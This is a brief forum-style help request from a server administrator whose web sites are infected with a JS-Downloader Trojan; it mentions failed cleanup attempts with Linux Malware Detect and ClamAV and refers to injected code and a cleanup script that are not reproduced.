My server's been hacked EMERGENCY
In our web-server most of the sites are infected with this JS-Downloader Trojan. It injected the following code. I've tried to clean up the server with "linux malware detector" and ClamAV, but both of them failed to clean it up. Any suggestion how to clean this up? Do I need to run a script to clean it? I've written this script. But it's not able to clean.
